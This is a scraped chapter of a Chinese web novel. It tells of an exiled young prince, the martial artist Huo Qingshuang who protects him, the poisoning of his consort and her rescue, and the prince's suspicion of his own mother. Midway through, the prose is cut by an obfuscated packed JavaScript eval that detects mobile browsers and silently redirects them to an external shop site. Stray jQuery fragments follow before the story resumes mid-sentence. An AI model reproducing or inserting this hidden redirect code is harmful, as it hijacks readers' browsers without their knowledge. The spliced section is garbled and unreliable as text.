文趣网 > 都市小说 > 高粱地里的太子殿下 > 6. 中毒
    无论出于何种理由,少年明显还是不愿离开那座宅邸。

    或许他的心中仍抱有希冀。

    希冀有朝一日,自己的母亲能够回心转意,希冀有朝一日,自己不必活在猜忌与权衡之中,能重新寻回骨肉亲情。

    当然,也可能只是单纯的想要继续蛰伏。

    但无论如何,结果却是相同的,那就是:他不愿意跟霍青霜走。

    既如此。

    霍青霜也不在勉强,只一路妥帖地将少年安全护送了回来。

    房间里,他们走的时候是什么样,回来的时候还是什么样。

    看来的确没有惊动任何人。

    “你先歇息吧。”霍青霜将他小心翼翼地放下后,就准备离开了。

    不料——

    “等一下。”少年突然发声叫住了她。

    霍青霜有些稀奇,心想:难道这位金枝玉叶的小少爷要跟自己道谢?

    事实证明,她纯是自作多情了。

    “能不能将你的本事教给我。”明明是求人的话语,但少年却不肯露出半分求人的模样,最多就是将声音放轻了些许:“不要那些花拳绣腿,要一脚踏碎大地,要飞天如隼的那种真本事。”

    少年的想法显然是正确的,与其依仗旁人庇护,不如自己手握能安身立命的力量。

    只是想法虽好,但真的实施起来,却基本没有任何可能。

    “我很早就探查过殿下的根骨了。”霍青霜告诉他:“你并没有任何习武的才能。就算从此日夜苦修上二十年,也难达想要的境界。”

    少年闻言,方才燃起的那点热忱瞬间冻住。他的眉头猛地拧起,不肯相信地上前一步,质问道:“骗人!孤看你就是不想教。”

    霍青霜静静地望着他,语气平静并无半分敷衍:“殿下的经脉纤细滞涩,真气根本无法久存,天生便不适合练武。强行苦修只会伤及内里,于寿数也是有碍。”

    她说的是真的!

    望着女人那双坦荡无遮的双眼,陈平心中瞬间了然,对方竟是半句虚言都没有。

    原以为有了一条能够变强的路子,到头来却是天生无缘吗?

    少年垂落眼帘,眸中闪过一片颓丧之色。

    许久后——

    “罢了,孤知道了。你走吧。”

    霍青霜晓他心中失望,但现在也没有别的办法,再多言语反倒像是施舍,只能又惹得少年不快罢了,遂不再言语,转身缓步退了出去。

    房门轻轻合上,隔绝开一室沉寂。

    少年独自立在屋中,他缓缓抬起手,从袖中摸出那只在市集上买的木雕小兽,指尖一遍遍地抚过其粗糙的表面,最终自嘲一声,将其随意丢弃在了地上。

    自那日集市后。

    霍青霜连续数日都再未见过陈平。

    这一天。

    她正在锄地。

    没错,霍青霜在宅邸中圈了块自留地,扎了篱笆,准备种些青菜。

    她幼时也是穷苦出身,对这种地里活,是再熟悉不过的,所以干起来也是驾轻就熟。

    “下月十三,是王爷的生辰。”莲儿蹲在旁边,一边往地上不住地撒着鸡食,一边嘀嘀咕咕地对霍青霜絮叨说:“从前王爷过生辰的时候,那气派可大了,不但各种珍宝如流水般的往府里送,还会大摆宴席,搭戏台。那戏台足有五层楼高,梁上绑着织锦和彩绸,四周悬挂着上千盏的花灯,京里南北两地最有名的戏子全都请来,日夜轮番登台献唱,可热闹了!”

    小姑娘叽叽喳喳地,满满都是怀念的神色。

    能够听得出来,少年曾经,真的是极其金尊玉贵,也极其得父母的珍爱和喜欢。

    小姑娘自言自语,东拉西扯地说了一大通后,拍拍手掌站了起来。

    没办法,活多,她还得去厨房帮忙做饭呢!

    “今儿会蒸馒头,我偷偷给你留几个,你晚上当夜宵吃。”不等霍青霜推辞,莲儿就风风火火地跑走了。然而,出乎意料的是,当天晚上,霍青霜并没有等来她的馒头,反而等来了一道噩耗。少年的侧妃,也就是那位很会弹琴的顾姑娘,居然中毒了,如今更是到了生命垂危的地步。

    内室。

    李禾将两根手指从顾姝儿的皓腕上移开,语未出,眼泪却开始不争气地流了下来。同样站在榻旁的庐阳王见状,立刻皱起眉头,不耐道:“不许哭,先说,她究竟如何了?”

    李禾年龄虽小,祖父却是本朝有名的太医,所以她本身是有一定医术的。在如今这种被圈禁的情况下,也只能让她先顶上来了。

    “心跳极快,呼吸困难,牙齿出血,有剧烈呕吐和抽搐的现象,是中毒无疑了。”

    此话一出,整个内室的空气似乎都凝结住了。

    庐阳王殿下身子猛地一僵,声线更是绷的发颤:“是什么毒,可有解法?”

    李禾垂手落泪:“若是猜的没错,应是鸩毒无疑。殿下,此毒发作极快,如今毒素已经浸透内脏,除非有宫中秘制的解毒奇药,否则……否则怕是撑不过两个时辰了。”

    该死!该死!该死!

    少年紧紧握住自己的双手,牙齿咬的嘎吱作响。眼底更是猩红一片,因为他心里十分清楚,这毒其实是冲着他来的,顾姝儿不过是意外误食了厨房做给自己的汤羹,生生替他挡下了这场杀身之祸罢了。

    自己已经像是条狗一般的被赶到这种穷乡僻壤了。

    为什么还是不肯放过我!

    母亲,你难道,真的非要我死不可?

    这一刻,少年的心里充满了暴戾,恐惧,与无尽的屈辱。他眼睁睁地看着榻上唇色乌青、时时抽搐喘息的顾姝儿,那股无力的恐慌几乎要将他整个人都吞噬掉了,而就在庐阳王殿下最绝望,最束手无策的时候,霍青霜推开房门走了进来。

    在李侧妃满是愕然的视线下,她先是将挡在床前有些碍事的少年拨弄到了一旁,而后更是一屁股坐在床上,并将已经神志不清的顾姝儿扶起。

    “你,你要干什么!!!”李禾大惊失色。

    霍青霜神色沉稳,不见半分慌乱,淡淡吐出二字:“救她!”

    话音未落,她双掌已稳稳贴在顾姝儿的后脊上,一股温润浑厚的真气自掌心缓缓渡入女子体内。顾姝儿体内鸩毒肆虐,脏腑俱受腐蚀,浑身血脉更是淤堵发黑,而那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720373|208613||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    道入体的真气却如同一道清流,顺着经脉飞速游走,硬生生压制住了那四处流窜的鸩毒。

    这一招,果然奇效。

    就见原本急促喘息,看起来痛苦不堪的顾姝儿竟然缓缓展开了蹙的死紧的眉头,就连惨白的面色都似乎稍稍回暖了一些。李禾见状,虽不明所以,但医者的本能却在告诉她,这个女人似乎真的能够救得了顾姐姐。

    屋内紧绷到极致的死寂,终于有了一丝松动。

    许久之后——

    霍青霜收回双掌,微微垂眸,对着二人道:“暂时稳住了。但若想要将毒性全部驱除,每日还需我以真气催逼才行。”不是霍青霜本事不到家,主要还是顾姝儿体魄太弱,只能分次疏导,徐徐图之。

    李禾闻言立刻上前再次搭脉,片刻后,她面露惊喜地大叫起来:“脉象果然稳定了。这位姐姐,你,你究竟是怎么做到的,这实在是太神奇了。”

    “雕虫小技而已,不算什么。”霍青霜对着她温和说道:“你既通晓医理,不妨给她配些清血祛毒、护养脏腑的汤药。”真气外导散毒,汤药内服固本,二者相辅,方能事半功倍。

    李禾此时已是满眼钦佩,听得这般吩咐,自是连连点头。

    “她真的没事了?”这时,被晒在旁边许久的庐阳王殿下终于能够插上话了。

    霍青霜见少年浑身紧绷,整个人情绪明显处于极不对劲的状态,眼中不由划过一抹担忧来。于是她走上前去,抬起手,轻轻按了下他的肩头。掌心温和的力道传来,陈平身子微微一震。

    “放心。有我在,不会让顾姑娘有事的。”霍青霜说:“如今的当务之急,是查清楚,究竟是何人下毒。尽快将凶手找出来,才能以绝后患。”

    这话恰好戳中了少年心底积压的愤懑,他眼底刚褪去几分的猩红再度翻涌,冷哼道:“不用你说,孤也清楚。这毒本就是冲着孤来的。”

    不得不说,庐阳殿下查案的手段,堪称【粗暴】。

    循迹求证,细细排查之类的根本没有。

    “将厨房里所有掌勺、打杂、采买杂役等,尽数押到院中等候,一个都不准放走。”这是第一道命令。

    “叫崔寻进来见我。”这是第二道命令。

    少时,黑骑首领,名义上是守护少年,实际上是看押他的崔统领果然急匆匆地赶了过来。

    “殿下急召卑职,不知有何吩咐?”

    “崔统领是母后心腹,素来与宫中互通有无,可否代替本王传个消息回去。”少年的目光如冰如锋:“若母后想要孤的性命,下一道圣旨即可,宫中鸩毒炼制不易,就没必要浪费在孤这种废人身上了。”

    此话一出。

    崔寻脸上血色一瞬褪得干干净净,竟双膝一软,直接“噗通”一声重重跪倒在地,慌乱叩首道:“卑职该死,竟不知殿下此言从何而来!”

    他伏在地上,脊背绷得僵直,声音都带上了几分颤抖:“天后娘娘心系殿下,怎会生出这般念头?此事定是有人暗中构陷挑拨,刻意离间殿下与陛下的母子情分,卑职这就彻查府中上下,定然揪出真凶,给您一个满意的交代。”

    ——————